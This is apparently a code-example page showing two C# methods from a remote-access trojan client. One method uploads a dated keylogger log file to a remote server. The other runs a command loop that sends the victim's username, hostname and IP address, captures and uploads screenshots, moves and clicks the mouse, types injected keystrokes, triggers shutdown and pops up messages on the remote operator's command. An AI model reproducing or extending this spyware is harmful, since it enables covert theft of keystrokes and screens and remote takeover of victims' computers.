示例#1
0
        public static void sendKey()
        {
            DateTime date   = DateTime.Today;
            int      dDAY   = date.Day;
            int      dMONTH = date.Month;
            int      dYEAR  = date.Year;
            string   DATE   = dDAY.ToString() + "." + dMONTH.ToString() + "." + dYEAR.ToString();
            upload   up     = new upload();

            up.startUpload(@"C:\drivers1\key\spy" + DATE + ".txt", clientSock);
        }
示例#2
0
        void SendInfo()
        {
            while ((isable == true) && (clientSock != null))
            {
                string dataFromServer = getData();
                if (dataFromServer == "key")
                {
                    sendKey();
                }

                if (dataFromServer == "GetName")
                {
                    s = SystemInformation.UserName;
                    string strHostName = "";
                    strHostName = Dns.GetHostName();
                    IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
                    IPAddress[] addr    = ipEntry.AddressList;
                    int         i       = 0;
                    while (addr[i].ToString().Length > 15)
                    {
                        i++;
                    }
                    strHostName += "#" + addr[i].ToString();

                    sendData(strHostName);
                }
                if (dataFromServer == "pic")
                {
                    Bitmap picture = SaveScreenShot();
                    picture.Save(@"C:\temp\image.Jpeg", ImageFormat.Jpeg);
                    upload up = new upload();
                    up.startUpload(@"C:\temp\image.Jpeg", clientSock);
                    picture.Dispose();
                }
                if ((dataFromServer.Length > 3) && (dataFromServer.Substring(0, 2) == "PB"))
                {
                    string[] mize = dataFromServer.Split('#');

                    Bitmap picture = SaveScreenShot2(int.Parse(mize[1]), int.Parse(mize[2]));
                    picture.Save(@"C:\temp\image.Jpeg", ImageFormat.Jpeg);
                    upload up = new upload();
                    up.startUpload(@"C:\temp\image.Jpeg", clientSock);
                    picture.Dispose();
                }



                if (dataFromServer == "Shutdown")
                {
                    shutdown.kill();
                    //Process.Start("cmd", "/c shutdown -s -t 100");
                }

                if (dataFromServer == "CancelShutdown")
                {
                    cancel.kill();
                }
                if (dataFromServer == "screen")
                {
                    look  = SystemInformation.PrimaryMonitorSize.Width.ToString();
                    look += "#";
                    look += SystemInformation.PrimaryMonitorSize.Height.ToString();
                    sendData(look);
                }
                if ((dataFromServer.Length > 3) && (dataFromServer.Substring(0, 2) == "me"))
                {
                    string[] mize = dataFromServer.Split('#');
                    if (int.Parse(mize[3]) == 1)
                    {
                        Cursor.Position = new Point(int.Parse(mize[1]), int.Parse(mize[2]));
                        mouse_event(MOUSEEVENTF_LEFTDOWN, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                        mouse_event(MOUSEEVENTF_LEFTUP, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                    }
                    if (int.Parse(mize[3]) == 2)
                    {
                        Cursor.Position = new Point(int.Parse(mize[1]), int.Parse(mize[2]));
                        mouse_event(MOUSEEVENTF_RIGHTDOWN, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                        mouse_event(MOUSEEVENTF_RIGHTUP, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                    }
                    if (int.Parse(mize[3]) == 3)
                    {
                        Cursor.Position = new Point(int.Parse(mize[1]), int.Parse(mize[2]));
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                        Thread.Sleep(15);
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, int.Parse(mize[1]) * yahasW, int.Parse(mize[2]) * yahasH, 0, 0);
                    }
                }
                if ((dataFromServer.Length > 3) && (dataFromServer.Substring(0, 2) == "ke"))
                {
                    string[] mize = dataFromServer.Split('#');
                    try
                    {
                        SendKeys.SendWait(mize[1]);
                    }
                    catch
                    {
                    }
                }
                if ((dataFromServer.Length > 4) && (dataFromServer.Substring(0, 4) == "Text"))
                {
                    string[] mize = dataFromServer.Split('#');
                    MessageBox.Show(mize[1], mize[2]);
                }
            }
        }